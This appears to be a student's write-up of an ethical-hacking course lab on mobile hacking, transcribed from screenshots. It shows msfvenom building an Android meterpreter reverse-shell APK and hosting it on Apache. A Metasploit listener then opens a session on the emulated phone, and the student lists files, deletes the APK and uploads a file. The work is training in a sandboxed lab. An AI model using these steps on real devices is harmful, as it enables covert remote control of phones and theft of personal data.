

Jason Palmeri
CS53C
Lab 25: Extra Credit
Timothy Ryan

Lab 25: Mobile Hacking

Learn

Modules

Account

Help

NDG Ethical Hacking v2 Self Paced Course

End Reservation

MyNETLAB > VE1.H85.P1072.NDG_EHV2_Series2 > Reservation 213136 > Lab 25: Mobile Hacking

Topology

Content

Status

pfSense

Kali

WinOS

Time Remaining

048

hrs. | min.

Android Pie on WINOS

5:31

5:31 PM 6/20/23

5:37



Network details

Metered
Treat as unmetered

Network details

MAC address

IP address 192.168.0.5

Gateway 192.168.0.254

Subnet mask 255.255.255.0

DNS 8.8.8.8

Link speed 1 Mbps

IPv6 addresses

fe80::a72:e847:112e:9c03



5:37 PM
6/20/23

```
root@kali: ~
File Actions Edit View Help

root@kali: ~

● apache2.service - The Apache HTTP Server
   Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: disabled)
   Active: active (running) since Tue 2023-06-20 10:39:21 EDT; 6s ago
     Docs: https://httpd.apache.org/docs/2.4/
   Process: 1739 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)
  Main PID: 1750 (apache2)
    Tasks: 6 (limit: 2290)
   Memory: 19.2M
   CGroup: /system.slice/apache2.service
           └─1750 /usr/sbin/apache2 -k start
             └─1751 /usr/sbin/apache2 -k start
               └─1752 /usr/sbin/apache2 -k start
                 └─1753 /usr/sbin/apache2 -k start
                   └─1754 /usr/sbin/apache2 -k start
                     └─1755 /usr/sbin/apache2 -k start

Jun 20 10:39:21 kali systemd[1]: Starting The Apache HTTP Server...
Jun 20 10:39:21 kali apachectl[1749]: AH00558: apache2: Could not reliably determine the server's fully qualified domain name, please see the /etc/httpd/conf/httpd.conf file for instructions on how to set it.
Jun 20 10:39:21 kali systemd[1]: Started The Apache HTTP Server.

root@kali:~# rm /var/www/html/index.html
root@kali:~# mkdir /var/www/html/lab25
root@kali:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.2 LPORT=4444 R > /var/www/html/lab25/android.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 10180 bytes

root@kali:~#
```



Android Pie on WINOS



5:42



MainActivity

Do you want to install this application? It will get access to:



modify system settings



read call log

write call log



take pictures and videos



modify your contacts

read your contacts



access approximate location (network-based)


access precise location (GPS and network-based)



record audio



directly call phone numbers

 this may cost you money


read phone status and identity



read your text messages (SMS or MMS)

receive text messages (SMS)

send and view SMS messages

 this may cost you money



modify or delete the contents of your SD card

read the contents of your SD card

CANCEL INSTALL

```
root@kali: ~  
File Actions Edit View Help  
root@kali: ~  
Exploit target:  
  Id  Name  
  --  ----  
  0   Wildcard Target  
  
msf5 exploit(multi/handler) > set LHOST 192.168.0.2  
LHOST => 192.168.0.2  
msf5 exploit(multi/handler) > show options  
  
Module options (exploit/multi/handler):  
  
  Name  Current Setting  Required  Description  
  ----  -  
  
Payload options (android/meterpreter/reverse_tcp):  
  
  Name  Current Setting  Required  Description  
  ----  -  
LHOST  192.168.0.2      yes       The listen address (an interface may be specified)  
LPORT  4444             yes       The listen port  
  
Exploit target:  
  Id  Name  
  --  ----  
  0   Wildcard Target  
  
msf5 exploit(multi/handler) > █
```

```
msf5 exploit(multi/handler) > exploit -j -z  
[*] Exploit running as background job 0.  
[*] Exploit completed, but no session was created.  
  
[*] Started reverse TCP handler on 192.168.0.2:4444  
msf5 exploit(multi/handler) > [*] Sending stage (73550 bytes) to 192.168.0.5  
[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.5:58864) at 2023-06-20 10:44:26 -0400  
sessions -i 1  
[*] Starting interaction with 1...  
  
meterpreter > sysinfo  
Computer      : localhost  
OS            : Android 9 - Linux 4.19.110-android-x86_64-g066cc1d (x86_64)  
Meterpreter   : dalvik/android  
meterpreter > ifconfig  
  
Interface 1  
=====
```

Name	: wlan0 - wlan0
Hardware MAC	: 00:15:5d:00:14:03
IPv4 Address	: 192.168.0.5
IPv4 Netmask	: 255.255.255.0
IPv6 Address	: fe80::a72:e847:112e:9c03
IPv6 Netmask	: ::

```
  
Interface 2  
=====
```

Name	: ip6tnl0 - ip6tnl0
Hardware MAC	: 00:00:00:00:00:00

```
root@kali: ~  
100444/r--r-- 1315 fil 2023-06-20 10:30:42 -0400 plat_seapp_contexts  
100444/r--r-- 14057 fil 2023-06-20 10:30:42 -0400 plat_service_contexts  
40444/r--r-- 0 dir 2023-06-20 10:30:27 -0400 proc  
40444/r--r-- 4096 dir 2020-03-24 23:39:17 -0400 product  
40000/----- 140 dir 2023-06-20 10:30:42 -0400 sbin  
40666/rw-rw-rw- 4096 dir 2021-02-09 14:14:18 -0500 sdcard  
100444/r--r-- 365756 fil 2023-06-20 10:30:42 -0400 sepolicy  
40444/r--r-- 80 dir 2023-06-20 17:30:58 -0400 storage  
40444/r--r-- 0 dir 2023-06-20 10:30:41 -0400 sys  
40444/r--r-- 4096 dir 2020-03-25 00:12:31 -0400 system  
100444/r--r-- 464 fil 2023-06-20 10:30:42 -0400 ueventd.android_x86_64.rc  
100444/r--r-- 5122 fil 2023-06-20 10:30:42 -0400 ueventd.rc  
40444/r--r-- 4096 dir 2020-03-25 00:12:33 -0400 vendor  
100444/r--r-- 7081 fil 2023-06-20 10:30:42 -0400 vendor_file_contexts  
100444/r--r-- 0 fil 2023-06-20 10:30:42 -0400 vendor_hwservice_contexts  
100444/r--r-- 392 fil 2023-06-20 10:30:42 -0400 vendor_property_contexts  
100444/r--r-- 0 fil 2023-06-20 10:30:42 -0400 vendor_seapp_contexts  
100444/r--r-- 0 fil 2023-06-20 10:30:42 -0400 vendor_service_contexts  
100444/r--r-- 65 fil 2023-06-20 10:30:42 -0400 vndservice_contexts  
  
meterpreter > cd /sdcard/download  
meterpreter > ls  
Listing: /storage/emulated/0/download  
=====
```

Mode	Size	Type	Last modified	Name
100666/rw-rw-rw-	10180	fil	2023-06-20 17:41:33 -0400	android.apk

```
meterpreter > rm android.apk  
meterpreter > upload -r /root/Desktop/README.txt /storage/emulated/0/Android/data  
[*] uploading : /root/Desktop/README.txt → /storage/emulated/0/Android/data  
[*] uploaded : /root/Desktop/README.txt → /storage/emulated/0/Android/data/README.txt  
meterpreter >
```

